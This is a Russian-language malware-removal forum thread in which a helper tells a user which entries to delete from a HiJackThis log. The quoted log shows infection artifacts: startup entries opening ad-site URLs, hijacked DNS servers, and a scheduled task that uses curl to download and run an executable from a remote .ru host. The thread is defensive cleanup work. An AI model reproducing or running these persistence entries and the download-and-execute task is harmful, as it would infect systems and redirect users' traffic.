При скачивании файла с Облако@mail.ru, Яндекс.Диска, Google Drive вместо нужного файла скачивается архив

[Hackerok]

Вместо нужного файла качается архив, в данном архиве ещё один архив, а в нем запакован данный файл.
Скриншот на его репутацию в KSN прилагается.
В конце прилагается архив логов.

[Info_bot]

Уважаемый(ая) Hackerok, спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[thyrex]

Пофиксите в HiJackThis из папки Autologger

O4 - MSConfig\startupreg: [aknfkwkxwr] C:\Windows\explorer.exe "http://granena.ru/?utm_source=uoua03n&utm_content=e739009bccd5f1e6d71a91bff5994529&utm_term=E43EBD88C501A34E1AAEA140064D1B3A&utm_d=20170625" (HKCU) (2017/10/26)
O4 - MSConfig\startupreg: [xdxhapqyqn] C:\Windows\explorer.exe "http://eqvizin.ru/?utm_source=uoua03&utm_content=30279481911209992ea2df3b8dc4809c&utm_term=E43EBD88C501A34E1AAEA140064D1B3A&utm_d=20170625" (HKCU) (2017/10/26)
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\CSS\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet002\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O21 - ShellIconOverlayIdentifiers: 00asw - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O21 - ShellIconOverlayIdentifiers: 00avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task (Disabled): setupsk - C:\Users\Andrey\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\Andrey\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk" (file missing)
O22 - Task (Disabled): setupsk_upd - C:\Users\Andrey\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\Andrey\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd" (file missing)
O22 - Task (Ready): Opera scheduled Autoupdate 1497116708 - D:\Programs\Opera\launcher.exe --scheduledautoupdate $(Arg0)
O22 - Task (Ready): curl - C:\Users\Andrey\AppData\Roaming\curl\curl_7_54.exe -f -L "http://amtomil.ru/f.exe" -o "C:\Users\Andrey\AppData\Roaming\curl\curl.exe"
O22 - Task (Ready): curls - C:\Users\Andrey\AppData\Roaming\curl\curl.exe

Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи.

[Hackerok]

логи после фикса (если все правильно сделал)

[thyrex]

Что с проблемой?

[Hackerok]

Проблема решилась, огромное спасибо!!!!